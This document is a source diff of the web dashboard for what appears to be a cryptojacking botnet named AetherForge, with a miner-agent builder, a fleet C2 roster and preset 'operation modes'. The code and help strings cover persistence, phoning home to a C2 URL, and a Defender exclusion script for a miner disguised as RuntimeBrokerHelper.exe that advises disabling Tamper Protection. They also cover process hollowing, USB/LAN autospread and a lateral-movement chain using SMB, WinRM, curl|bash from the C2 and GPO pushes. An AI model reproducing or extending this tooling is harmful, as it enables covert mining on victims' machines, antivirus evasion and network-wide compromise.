...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
|
||||
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
|
||||
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
|
||||
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
|
||||
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
|
||||
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
|
||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** Apply one or many stats updates in a single pass (batch-friendly). */
|
||||
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
|
||||
if (updates.length === 0) return agents;
|
||||
const byId = new Map(updates.map((u) => [u.agent_id, u]));
|
||||
let changed = false;
|
||||
const next = agents.map((a) => {
|
||||
const u = byId.get(a.id);
|
||||
if (!u || agentStatsUnchanged(a, u)) return a;
|
||||
changed = true;
|
||||
return mergeAgentStats(a, u);
|
||||
});
|
||||
return changed ? next : agents;
|
||||
}
|
||||
@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
|
||||
'/settings',
|
||||
'/forge',
|
||||
'/builds',
|
||||
'/agents',
|
||||
'/crucible',
|
||||
'/dashboard',
|
||||
]);
|
||||
for (const step of routed) {
|
||||
|
||||
@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
title: 'Connect',
|
||||
subtitle: 'Agent phones home',
|
||||
icon: '🔗',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
|
||||
route: '/agents',
|
||||
routeLabel: 'Fleet Roster',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
|
||||
route: '/crucible',
|
||||
routeLabel: 'Crucible',
|
||||
tips: [
|
||||
'Status dot: green = online now, grey = last seen X ago',
|
||||
'Remote action buttons are disabled when the agent is offline — by design',
|
||||
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
'C2 server URL (LAN http://IP:8989)',
|
||||
'Wallet address & payment ID',
|
||||
'Pool host, port, TLS on/off, pool password',
|
||||
'Worker name (shows in Fleet Roster)',
|
||||
'Worker name (shows in Crucible node roster)',
|
||||
'Thread count + thread mode (fixed / percent / adapt)',
|
||||
'CPU/RAM usage caps & idle detection',
|
||||
'Mining schedule (start/end time window)',
|
||||
@@ -328,7 +328,7 @@ ollama run llama3.2`,
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{
|
||||
problem: 'Agent never appears in Fleet Roster',
|
||||
problem: 'Agent never appears in Crucible',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
|
||||
},
|
||||
{
|
||||
|
||||
26
server/web/src/help/defenderExclusion.test.ts
Normal file
26
server/web/src/help/defenderExclusion.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
|
||||
|
||||
describe('defenderExclusion', () => {
|
||||
it('builds elevated PowerShell with path and process exclusions', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\ProgramData\\AetherForge\\worker",
|
||||
processName: 'RuntimeBrokerHelper',
|
||||
});
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('RuntimeBrokerHelper.exe');
|
||||
expect(script).toContain('Tamper Protection');
|
||||
});
|
||||
|
||||
it('escapes single quotes in paths', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\O'Brien\\miner",
|
||||
processName: 'worker',
|
||||
});
|
||||
expect(script).toContain("C:\\O''Brien\\miner");
|
||||
});
|
||||
|
||||
it('provides default install preview', () => {
|
||||
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
||||
});
|
||||
});
|
||||
57
server/web/src/help/defenderExclusion.ts
Normal file
57
server/web/src/help/defenderExclusion.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
|
||||
|
||||
export interface DefenderExclusionOptions {
|
||||
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
|
||||
installPath: string;
|
||||
/** Process name without .exe, e.g. RuntimeBrokerHelper */
|
||||
processName: string;
|
||||
}
|
||||
|
||||
function psEscapeSingleQuoted(value: string): string {
|
||||
return value.replace(/'/g, "''");
|
||||
}
|
||||
|
||||
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
|
||||
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
|
||||
const processName = psEscapeSingleQuoted(opts.processName.trim());
|
||||
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
|
||||
|
||||
return `# AetherForge — Windows Defender exclusions
|
||||
# Run elevated (Administrator). Review before executing.
|
||||
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||
Write-Warning 'Re-run this script as Administrator.'
|
||||
}
|
||||
|
||||
$paths = @(
|
||||
'${installPath}'
|
||||
)
|
||||
$processes = @(
|
||||
'${processExe}'
|
||||
)
|
||||
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath $paths -Force
|
||||
Add-MpPreference -ExclusionProcess $processes -Force
|
||||
Write-Host "Added Defender exclusions for install path and ${processExe}"
|
||||
} catch {
|
||||
Write-Warning $_.Exception.Message
|
||||
}
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Manual checklist if mining still blocked:'
|
||||
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
|
||||
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
|
||||
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
|
||||
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
|
||||
`;
|
||||
}
|
||||
|
||||
/** Example install path for Calibrate preview (Windows localappdata template). */
|
||||
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
|
||||
const slug = workerName.trim() || 'worker';
|
||||
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
|
||||
}
|
||||
@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
max_memory_percent: '/docs/#forge-stealth',
|
||||
min_free_ram_mb: '/docs/#forge-stealth',
|
||||
mining_mode: '/docs/#forge-stealth',
|
||||
miner_execution: '/docs/#container-mining',
|
||||
idle_threshold_pct: '/docs/#forge-stealth',
|
||||
idle_duration_minutes: '/docs/#forge-stealth',
|
||||
schedule_start: '/docs/#agent',
|
||||
|
||||
@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'idle',
|
||||
miner_execution: 'auto',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
|
||||
@@ -14,13 +14,14 @@ import {
|
||||
describe('forgeMissionWizard', () => {
|
||||
it('defines three ritual wizard steps', () => {
|
||||
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
|
||||
});
|
||||
|
||||
it('maps operation chips to forge modes', () => {
|
||||
expect(operationModeForChip('ghost')).toBe('ghost_walk');
|
||||
expect(operationModeForChip('loud')).toBe('open_flame');
|
||||
expect(operationModeForChip('spread')).toBe('wildfire');
|
||||
expect(operationModeForChip('avsafe')).toBe('av_safe');
|
||||
});
|
||||
|
||||
it('reverse-maps operation modes to wizard chips', () => {
|
||||
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
|
||||
expect(missionChipForMode('open_flame')).toBe('loud');
|
||||
expect(missionChipForMode('wildfire')).toBe('spread');
|
||||
expect(missionChipForMode('crucible_storm')).toBe('spread');
|
||||
expect(missionChipForMode('av_safe')).toBe('avsafe');
|
||||
});
|
||||
|
||||
it('navigates wizard steps forward and back', () => {
|
||||
|
||||
@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
||||
launch: 'Launch',
|
||||
};
|
||||
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
|
||||
|
||||
export interface MissionOperationChipDef {
|
||||
id: MissionOperationChip;
|
||||
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
||||
modeId: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
||||
},
|
||||
{
|
||||
id: 'avsafe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
modeId: 'av_safe',
|
||||
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
|
||||
},
|
||||
];
|
||||
|
||||
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
||||
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
|
||||
}
|
||||
|
||||
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
||||
if (mode === 'av_safe') return 'avsafe';
|
||||
if (mode === 'open_flame') return 'loud';
|
||||
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
||||
return 'ghost';
|
||||
|
||||
@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
it('exposes colored aether-themed presets including LOTL Onion', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(8);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
'AV-Safe',
|
||||
'LOTL Onion',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
'aether',
|
||||
'aether',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
|
||||
it('applies AV-Safe in-process mining without GPU or spread', () => {
|
||||
const next = applyOperationMode(baseForm(), 'av_safe');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.process_hollowing).toBe(false);
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(false);
|
||||
expect(next.remote_aggressive).toBe(false);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'lotl_onion');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(9);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.share_spread).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
@@ -7,7 +8,9 @@ export type OperationModeId =
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
| 'crucible_storm'
|
||||
| 'av_safe'
|
||||
| 'lotl_onion';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'av_safe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
skin: 'aether',
|
||||
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lotl_onion',
|
||||
label: 'LOTL Onion',
|
||||
color: '#38bdf8',
|
||||
skin: 'aether',
|
||||
blurb:
|
||||
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: true,
|
||||
share_spread: true,
|
||||
usb_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
lotl_onion_enabled: true,
|
||||
lotl_policy_from_server: true,
|
||||
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
|
||||
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists nine tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with a one-line hint', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
38
server/web/src/help/lotlOnionTiers.ts
Normal file
38
server/web/src/help/lotlOnionTiers.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||
|
||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
'gpo',
|
||||
] as const;
|
||||
|
||||
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
|
||||
export interface LotlOnionTierDoc {
|
||||
id: LotlOnionTierId;
|
||||
label: string;
|
||||
/** One-line operator hint for playbook tabs */
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
|
||||
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
|
||||
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
|
||||
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
|
||||
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
|
||||
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
|
||||
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
|
||||
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
|
||||
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
|
||||
];
|
||||
|
||||
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
|
||||
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
/** Map dashboard routes to human-readable page names for comrade presence. */
|
||||
const PAGE_LABELS: Record<string, string> = {
|
||||
'/dashboard': 'Command Deck',
|
||||
'/agents': 'Fleet Roster',
|
||||
'/agents': 'Crucible',
|
||||
'/crucible': 'Crucible',
|
||||
'/forge': 'Forge',
|
||||
'/builder': 'Forge',
|
||||
|
||||
38
server/web/src/help/reconRisk.test.ts
Normal file
38
server/web/src/help/reconRisk.test.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
|
||||
|
||||
describe('reconRisk', () => {
|
||||
it('ipToSubnet derives /24 label', () => {
|
||||
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
|
||||
expect(ipToSubnet('')).toBe('');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings returns null when empty or all patched', () => {
|
||||
expect(riskFromVulnFindings(undefined)).toBeNull();
|
||||
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings picks highest unpatched severity', () => {
|
||||
const info = riskFromVulnFindings([
|
||||
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
|
||||
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
|
||||
]);
|
||||
expect(info?.level).toBe('high');
|
||||
expect(info?.label).toBe('RISK HIGH');
|
||||
expect(info?.count).toBe(2);
|
||||
expect(info?.title).toContain('CVE-HIGH');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings maps critical severity', () => {
|
||||
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
|
||||
expect(info?.level).toBe('critical');
|
||||
expect(info?.label).toBe('RISK CRIT');
|
||||
});
|
||||
|
||||
it('joinLaneLabel formats known lanes', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
});
|
||||
88
server/web/src/help/reconRisk.ts
Normal file
88
server/web/src/help/reconRisk.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import type { VulnFinding } from '../types/recon';
|
||||
|
||||
const SEVERITY_RANK: Record<string, number> = {
|
||||
critical: 5,
|
||||
high: 4,
|
||||
medium: 3,
|
||||
low: 2,
|
||||
info: 1,
|
||||
};
|
||||
|
||||
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
|
||||
|
||||
export interface RiskBadgeInfo {
|
||||
level: RiskLevel;
|
||||
label: string;
|
||||
count: number;
|
||||
title: string;
|
||||
}
|
||||
|
||||
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
|
||||
export function ipToSubnet(ip?: string): string {
|
||||
const trimmed = (ip || '').trim();
|
||||
const parts = trimmed.split('.');
|
||||
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
|
||||
}
|
||||
|
||||
function severityRank(severity?: string): number {
|
||||
if (!severity) return 0;
|
||||
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
|
||||
}
|
||||
|
||||
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
|
||||
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
|
||||
if (!findings?.length) return null;
|
||||
|
||||
const actionable = findings.filter((f) => !f.patched);
|
||||
if (actionable.length === 0) return null;
|
||||
|
||||
let maxRank = 0;
|
||||
let maxSeverity = 'low';
|
||||
let exploitable = 0;
|
||||
for (const f of actionable) {
|
||||
const rank = severityRank(f.severity);
|
||||
if (rank > maxRank) {
|
||||
maxRank = rank;
|
||||
maxSeverity = (f.severity || 'low').toLowerCase();
|
||||
}
|
||||
if (f.exploitable_in_fleet_context) exploitable += 1;
|
||||
}
|
||||
|
||||
const level: RiskLevel =
|
||||
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
|
||||
|
||||
const cveList = actionable
|
||||
.slice(0, 4)
|
||||
.map((f) => f.cve_id)
|
||||
.join(', ');
|
||||
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
|
||||
|
||||
return {
|
||||
level,
|
||||
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
|
||||
count: actionable.length,
|
||||
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
|
||||
exploitable ? ` · ${exploitable} fleet-context` : ''
|
||||
}\n${cveList}${suffix}`,
|
||||
};
|
||||
}
|
||||
|
||||
const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
winrm: 'WinRM',
|
||||
smb: 'SMB',
|
||||
gpo: 'GPO',
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
linux_lotl: 'Linux LOTL',
|
||||
spread_smb_unc: 'SMB UNC',
|
||||
};
|
||||
|
||||
/** Display label for join_lane funnel tag. */
|
||||
export function joinLaneLabel(lane?: string): string | null {
|
||||
const raw = lane?.trim();
|
||||
if (!raw) return null;
|
||||
const key = raw.toLowerCase();
|
||||
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
|
||||
}
|
||||
@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
'download',
|
||||
'ps',
|
||||
'netstat',
|
||||
|
||||
@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
expect(bodies).toContain('Crucible');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_lotl_onion',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sigil_scramble',
|
||||
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'miner_execution',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
|
||||
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
|
||||
},
|
||||
{
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
},
|
||||
];
|
||||
|
||||
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_operation_mode:
|
||||
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
forge_path_forge:
|
||||
